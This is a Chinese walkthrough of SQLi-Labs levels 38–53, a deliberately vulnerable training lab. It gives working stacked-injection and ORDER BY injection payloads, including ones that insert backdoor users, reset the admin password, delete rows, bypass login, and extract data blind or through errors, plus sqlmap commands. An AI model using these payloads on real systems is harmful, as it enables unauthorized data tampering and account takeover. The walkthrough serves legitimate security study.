SQLi-Labs 通关笔记(Less-38 ~ Less-53):堆叠注入与 ORDER BY 注入


目录

  • Less-38:堆叠注入初探(单引号闭合)
  • Less-39:数字型堆叠注入
  • [Less-40:单引号 + 括号堆叠注入](#Less-40:单引号 + 括号堆叠注入)
  • Less-41:数字型堆叠注入(无报错)
  • [Less-42:POST 堆叠注入(单引号闭合)](#Less-42:POST 堆叠注入(单引号闭合))
  • [Less-43:POST 堆叠注入(单引号 + 括号)](#Less-43:POST 堆叠注入(单引号 + 括号))
  • [Less-44:POST 堆叠注入(单引号闭合)](#Less-44:POST 堆叠注入(单引号闭合))
  • [Less-45:POST 堆叠注入(单引号 + 括号)](#Less-45:POST 堆叠注入(单引号 + 括号))
  • [Less-46:ORDER BY 报错注入](#Less-46:ORDER BY 报错注入)
  • [Less-47:ORDER BY 单引号报错注入](#Less-47:ORDER BY 单引号报错注入)
  • [Less-48:ORDER BY 布尔/时间盲注](#Less-48:ORDER BY 布尔/时间盲注)
  • [Less-49:ORDER BY 单引号盲注](#Less-49:ORDER BY 单引号盲注)
  • [Less-50:ORDER BY 数字型堆叠注入](#Less-50:ORDER BY 数字型堆叠注入)
  • [Less-51:ORDER BY 单引号堆叠注入](#Less-51:ORDER BY 单引号堆叠注入)
  • [Less-52:ORDER BY 数字型盲注堆叠](#Less-52:ORDER BY 数字型盲注堆叠)
  • [Less-53:ORDER BY 单引号堆叠注入](#Less-53:ORDER BY 单引号堆叠注入)

Less-38:堆叠注入初探(单引号闭合)

这一关的本质在于后端代码从 mysql_query()​ 升级到了 mysqli_multi_query()​。

  • 普通注入 (Union):像一条直线,你只能在原本的查询语句后面拼接内容。
  • 堆叠注入 (Stacked):像一串鞭炮,通过分号 ; 将多条独立的 SQL 语句连接在一起执行。

测闭合:

复制代码
?id=1'

报错。

复制代码
?id=1'--+

正常。

执行插入:

复制代码
?id=1'; INSERT INTO users(id,username,password) VALUES (777,'test','test')--+

检查数据库: 刷新页面,访问 ?id=777​。

  • 如果出来了 test:说明堆叠注入没问题。

常规 Union 查询:

复制代码
?id=-1' union select 1,database(),version()--+

插入新用户:

复制代码
?id=1' ; insert into users(id,username,password) values(38,'hacker','123456')--+

用 ?id=38​ 访问,或者直接去数据库查看,会发现多了一个名为 hacker​ 的用户。


Less-39:数字型堆叠注入

判断类型:

  • 输入 ?id=1' 报错,输入 ?id=1 正常。
  • 输入 ?id=1 and 1=2 页面无数据,说明是数字型注入。

堆叠操作:

复制代码
?id=1;insert into users(id,username,password) values(39,'new_user','password')--+

?id=1;update users set password='hacked' where username='admin'--+

?id=1;delete from users where id=39--+

Less-40:单引号 + 括号堆叠注入

寻找闭合点:

  • 输入 ?id=1':页面正常显示(说明后端可能屏蔽了错误,或者单引号被包裹了)。

  • 输入 ?id=1') --+:页面正常显示。

  • 输入 ?id=1') and 1=2 --+:页面不显示数据。

  • 结论:闭合方式是 ')(单引号 + 右括号)。

    ?id=-1') union select 1,database(),version()--+

掌握了 ')​ 这个闭合点,剩下的操作和之前完全一样。


Less-41:数字型堆叠注入(无报错)

判断类型:

  • 输入 ?id=1':页面显示正常或无数据,但不报 SQL 语法错误。

  • 输入 ?id=1 and 1=2:页面数据消失。

  • 结论:数字型注入,且后端关闭了报错输出。

    ?id=1; update users set password='newpassword' where id=1--+

明明 insert​ 能成功(说明堆叠注入逻辑没问题),为什么 sleep​ 却不产生延时?

这通常不是你的 Payload 有问题,而是由 PHP 的 mysqli_multi_query()​ 函数特性 和 后端处理逻辑 共同导致的。

核心原因:PHP 脚本"提前收工"了

在 sqli-labs​ 的后端代码中,处理堆叠注入通常流程如下:

  1. PHP 调用 mysqli_multi_query() 把你那串 ; 分隔的语句全发给 MySQL。
  2. MySQL 收到后开始执行。第一条是 SELECT(查询 ID 为 1 的数据),第二条是 SELECT sleep(5)。
  3. 关键点: mysqli_multi_query() 执行后,PHP 默认只会去取 第一条语句 的执行结果。

如果后端代码逻辑是这样的:

  • 执行多条语句 → 获取第一条结果 → 立刻把结果显示在页面上并结束脚本。
  • 此时,MySQL 数据库后台可能确实还在老老实实地"睡觉",但 PHP 已经把页面发回给你的浏览器了。

结果就是: 你在网页上秒看到了内容,而数据库在后台默默地睡够了 5 秒才解脱,但这个延迟已经无法反馈到网页的加载时间上了。

堆叠注入的"隐身"特性

你遇到的现象正好证明了 堆叠注入(Stacked Injections) 的一个重要特性:后续语句的执行往往是"异步"或"静默"的。

  • 增/删/改:由于不需要回显,即便后端脚本结束了,数据库依然会完成任务。
  • 查(Select/Sleep):由于后端只认第一条结果,后续的查询结果(包括 sleep 导致的延迟)往往会被"丢弃"或"忽略"。

这就解释了为什么: 你的堆叠注入确实可用(insert​ 成功),但 sleep​ 看起来像失效了一样。


Less-42:POST 堆叠注入(单引号闭合)

绕过登录(万能密码): 如果只是想进去,可以使用 admin' or 1=1 #​

堆叠注入:添加新管理员

  • Username: admin (或者任意字符)

  • Password:

    c' ; insert into users(id,username,password) values(42,'post_admin','123456')#

逻辑:闭合掉密码部分的单引号,分号结束查询,插入新数据,#​ 注释掉后端剩余的内容。

堆叠注入:删除数据

  • Username: admin

  • Password:

    c' ; delete from users where username='new_user'#


Less-43:POST 堆叠注入(单引号 + 括号)

  • 用户名输入 admin,密码输入 1'。如果没有报错或者报错信息显示有括号,就要怀疑括号闭合。
  • 尝试密码输入 1') #。如果页面返回正常(或提示登录失败但语法不报错),说明闭合成功。

依然建议在 Password(密码框) 进行注入,因为用户名框通常会被加上更多的过滤或限制。

A. 堆叠注入:创建"后门"用户

在密码框输入:

复制代码
c') ; insert into users(id,username,password) values(43,'less43','pass')#

执行后,尝试用用户名 less43​ 和密码 pass​ 登录。

B. 堆叠注入:修改管理员密码

在密码框输入:

复制代码
admin') ; update users set password='123' where username='admin'#

C. 堆叠注入:联动报错(如果需要查数据)

虽然这关重点是堆叠,但如果你想快速看数据库名:

复制代码
c') or updatexml(1,concat(0x7e,database()),1)#

Less-44:POST 堆叠注入(单引号闭合)

  1. 输入正常账号:admin​ / admin​ → 登录成功(看到图片或 Welcome)。

  2. 测试数字型:

    • Password: admin'# → 登录失败。
    • Password: admin# → 如果登录成功,说明是数字型。为什么?因为后端语句变成了 WHERE password=admin#,后面的验证被注释了,直接以 admin 身份登录。
  3. 测试单引号型:

    • Password: 1' or 1=1# → 如果登录成功,说明是单引号闭合。

44 关实战结论:经过测试,你会发现输入 admin'#​ 或 1' or 1=1#​ 都能成功。这说明 44 关是 单引号字符型注入。

密码框:

复制代码
1'; insert into users(id,username,password) values(444, 'asdfg', '123')#

​asdfg​ / 123​ 登录成功。


Less-45:POST 堆叠注入(单引号 + 括号)

由于没有报错,我们还是得用"逻辑测试":

  • Password: admin'# → 失败。
  • Password: admin')# → 登录成功。
  • 结论:闭合方式是 ')(单引号 + 右括号)。

A. 堆叠注入:修改管理员密码

为了验证你的闭合是否正确,可以尝试把 admin​ 的密码改掉:

复制代码
c') ; update users set password='666' where username='admin'#

验证:尝试用 admin​ / 666​ 登录。如果成功,说明闭合 ')​ 完全正确。

B. 堆叠注入:插入新用户

这是最稳妥的练习方式:

复制代码
c') ; insert into users(id,username,password) values(45,'stacked45','pass')#

验证:用新账号 stacked45​ 登录。


Less-46:ORDER BY 报错注入

  • 注入位置:URL 参数 ?sort=1。
  • 核心逻辑:后端 SQL 语句类似于 SELECT * FROM users ORDER BY $sort。
  • 挑战点:在 ORDER BY 后面,你不能直接使用 UNION SELECT(因为语法不匹配)。你需要利用 报错注入 或 时间盲注 来获取信息。

在 ORDER BY​ 注入中,通常有三种主要的探测方式:

  1. 报错注入:利用 updatexml() 或 extractvalue() 函数。如果页面能回显错误信息,这是最快的方法。

  2. 基于列数的注入:通过修改 sort 的值(如 1, 2, 3),观察页面按照哪一列排序。

  3. 盲注(布尔/时间):如果页面不报错,可以利用 rand() 函数或 if() 配合 sleep() 进行判断。

    ?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

如果页面不报错,可以使用时间盲注:

复制代码
?sort=1 and (if(ascii(substr(database(),1,1))>100,sleep(5),1))

如果数据库名的第一个字符 ASCII 码大于 100,则延迟 5 秒。

观察结构:

  • ?sort=1(按 ID 排序)
  • ?sort=2(按 Username 排序)
  • ?sort=3(按 Password 排序)

这能帮你确认当前表有几列,以及 sort​ 参数是如何影响页面的。

核心原理:SQL 语句的结构化顺序

当你访问 ?sort=1​ 时,后台执行的 SQL 逻辑大致如下:

复制代码
SELECT id, username, password FROM users ORDER BY 1;

在这里,数字 1​ 并不是指"数值 1",而是指 "结果集中的第 1 列"。

  • ORDER BY 1:告诉数据库,请按照你查出来的第一个字段(即 id)进行升序排列。

  • ORDER BY 2:按照第二个字段(即 username)排列。

  • ORDER BY 3:按照第三个字段(即 password)排列。

  • 确定字段总数:如果你输入 ?sort=3 页面正常,输入 ?sort=4 页面报错或显示异常,你就知道这个表只有 3 列。这和我们在 UNION 注入里用 order by 探测字段数是一个道理。

  • 确认注入点类型:如果 ?sort=1 desc(降序)和 ?sort=1 asc(升序)导致页面内容完全反转,说明该参数确实被拼接进了 ORDER BY 位置,而不是被当成了 WHERE 条件。

    ?sort=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)

这种注入方式的本质是:利用数据库在执行排序指令前的"前置计算"阶段。

数据库想:"我要按照 1 AND 一个函数​ 的结果来排序。" 为了算出这个结果,它必须先执行那个函数。函数一执行就报错,报错信息就被甩到了前端页面上。


Less-47:ORDER BY 单引号报错注入

  • 注入位置:URL 参数 ?sort=1。

  • 后端 SQL 结构:SELECT * FROM users ORDER BY '$sort'。

  • ?sort=1' → 页面报错。

    ?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

    ?sort=1' and (if(ascii(substr(database(),1,1))>100,sleep(5),1))--+ (盲注情况下)


Less-48:ORDER BY 布尔/时间盲注

  • 注入位置:URL 参数 ?sort=1。
  • 注入类型:数字型(没有单引号包裹)。
  • 挑战点:无回显、无报错。
  • 核心逻辑:只能通过页面内容的变化(布尔盲注)或加载时间的差异(时间盲注)来提取数据。

A. 布尔盲注(基于 Rand 函数)

​rand()​ 函数可以生成随机数。如果给它一个布尔表达式作为种子,排序结果就会发生变化。

Payload:

复制代码
?sort=rand(ascii(left(database(),1))>100)

原理:

  • 如果数据库名第一位的 ASCII 码 > 100(真),rand(1) 会产生固定的排序序列。
  • 如果假,rand(0) 会产生另一套排序序列。
  • 通过对比页面第一行数据的变化,就能像玩"二选一"游戏一样猜出数据。

B. 时间盲注(基于 Sleep 函数)- 最推荐

这是最直观的方法。既然看不见报错,就让数据库"卡一下"。

Payload:

复制代码
?sort=1 and (if(ascii(substr(database(),1,1))>100,sleep(5),1))

原理:

  • 如果判断为真,页面加载会明显延迟 5 秒。
  • 如果判断为假,页面秒回。

sqlmap:

复制代码
python sqlmap.py -u "/Less-48/?sort=1" --technique B --dbms mysql --level 3 --risk 3 --batch --current-db

Less-49:ORDER BY 单引号盲注

  • 注入位置:URL 参数 ?sort=1。
  • 注入类型:字符型(带单引号 ')。
  • 挑战点:无报错、无回显。
  • 核心逻辑:你需要先闭合单引号,然后再进行盲注。

在不使用工具的情况下,你需要通过页面的排序变化来盲测闭合字符:

  • 访问 ?sort=1' --+ → 页面排序异常(或恢复默认)。
  • 访问 ?sort=1' and (if(1=1,sleep(2),1)) --+ → 观察是否有延迟。

为什么会 500 报错?(爆炸级延迟)

在 WHERE​ 子句中,sleep(2)​ 通常只执行一次。但在 ORDER BY​ 子句中,情况完全不同:

  • 逐行执行:当你写 ORDER BY 1' and sleep(2)--+​ 时,数据库在对结果集进行排序。为了确定每一行的顺序,它会对每一行数据都执行一次后面的 sleep(2)​。

  • 累积效应:如果你的 users​ 表里有 15 行数据,那么总延迟就是 秒。

  • 超时崩溃:

    1. PHP 超时:PHP 脚本默认执行时间通常是 30 秒。如果数据库"睡"了 30 秒还没返回,PHP 就会直接强行断开连接,报 500 错误。
    2. Apache/Nginx 超时:Web 服务器等不及数据库的响应,也会直接抛出 500。

避免超时的 Payload:

复制代码
?sort=1' and (if(ascii(substr(database(),1,1))>100, 1, (select 1 from information_schema.tables)))--+

sqlmap:

复制代码
python sqlmap.py -u "/Less-49/?sort=1" --technique B --dbms mysql --level 3 --risk 3 --batch

Less-50:ORDER BY 数字型堆叠注入

  • 注入位置:?sort=1。

  • 注入类型:数字型。

  • 核心变化:后端改用了 mysqli_multi_query() 函数。

  • 这意味着:你不需要再苦哈哈地去猜 sleep 几秒或者看排序变化了。既然能堆叠,我们直接在分号 ; 后面下达指令。

    ?sort=1; insert into users(id,username,password) values(50,'hacker50','pwned')--+

方法 A:刷新页面观察法(最简单)

我们可以插入一条 ID 很大的数据,然后按 ID 降序排列,看看它会不会出现在表格的第一行。

  1. 执行注入(插入数据):在 URL 输入:

    复制代码
    ?sort=1;insert into users(id,username,password) values(99,"zxc","pass123")--+
  2. 验证结果:修改 URL 为按 ID 降序排列:?sort=1 desc​

    观察:如果表格第一行出现了 id: 99, username: Gemini_Test​,说明注入成功了!

方法 B:使用数据库工具(最直观)

如果你是本地环境(如 phpStudy),直接打开 phpMyAdmin 或 Navicat。

  1. 刷新 security 数据库下的 users 表。
  2. 看有没有多出你刚才插入的那一行。

删数据:

复制代码
?sort=1;delete from users where id=99;--+

Less-51:ORDER BY 单引号堆叠注入

  • ?sort=1 → 正常排序。

  • ?sort=1' → 报错。你会看到类似于 ...near ''1''' 的错误。

  • ?sort=1'--+ → 恢复正常排序。

  • 结论:这是一个单引号字符型注入点,且支持报错。

    ?sort=1'; insert into users(id,username,password) values(51,'Less51','pwned')--+

既然支持堆叠,我们利用 ;​ 执行第二条指令。注意,因为是字符型,你必须先用 '​ 闭合左边,再用 --+​ 注释掉右边。

Payload:

复制代码
?sort=1'; insert into users(id,username,password) values(51,'Less51','pwned')--+
第三步:验证结果

由于没有登录页面,我们依然采用"降序观察法":在浏览器访问 ?sort=id desc​(或者 ?sort=1 desc​)

观察:看表格的第一行是否出现了 id: 51, username: Less51​


Less-52:ORDER BY 数字型盲注堆叠

注入位置:?sort=1​

虽然不报错,但你可以通过排序变化来确认:

  • ?sort=1 desc → 正常降序。

  • ?sort=1 and sleep(2) → 如果转圈了,说明是数字型且存在注入点。

    ?sort=1; insert into users(id,username,password) values(52,'Less52_Blind','secret')--+

  1. 刷新页面,输入:?sort=id desc。
  2. 观察:看表格第一行是否出现了 id: 52, username: Less52_Blind。

Less-53:ORDER BY 单引号堆叠注入

  • 输入 ?sort=1' → 页面数据消失或排序错乱(说明 ' 破坏了 SQL)。

  • 输入 ?sort=1' --+ → 页面恢复正常排序。

  • 结论:这是单引号字符型注入。

    ?sort=1'; insert into users(id,username,password) values(53,'Less53_Final','done')--+

  • ?sort=id desc。

  • 观察:如果表格第一行跳出了 id: 53, username: Less53_Final


相关推荐
曹牧3 小时前
Oracle:前缀匹配之REGEXP_LIKE
数据库·oracle
sulikey5 小时前
个人Linux操作系统学习笔记6 - 操作系统与进程初识
linux·笔记·学习·操作系统·进程
暴躁小师兄数据学院6 小时前
【AI大数据工程师特训笔记】第05讲:关联查询
数据库·sql·oracle
倔强的石头_6 小时前
《Kingbase护城河》——跨平台环境下的数据库联调实战
数据库
lzhdim6 小时前
SQL 入门 17:MySQL 数据类型:从字符串到 JSON 的全面解析
数据库·sql·mysql·json
XGeFei6 小时前
【Fastapi学习笔记(3)】——资源的层级关系、安全性-幂等性、Field、工厂函数
笔记·学习·fastapi
杨云龙UP6 小时前
Oracle RAC / ODA 生产环境指定 PDB 启动 SOP
linux·运维·数据库·oracle
kingwebo'sZone7 小时前
在Cent上安装Mysql 8.0的遇到的问题和解决办法
数据库·mysql·adb
幽络源小助理7 小时前
最新知识付费系统网站源码 PC+H5双端 附安装教程 – 幽络源源码网
大数据·数据库
小白考证进阶中7 小时前
Oracle OCP证书报考&考试全指南
数据库·oracle·oracle ocp·ocp认证·oracle认证·甲骨文认证·oracle ocp题库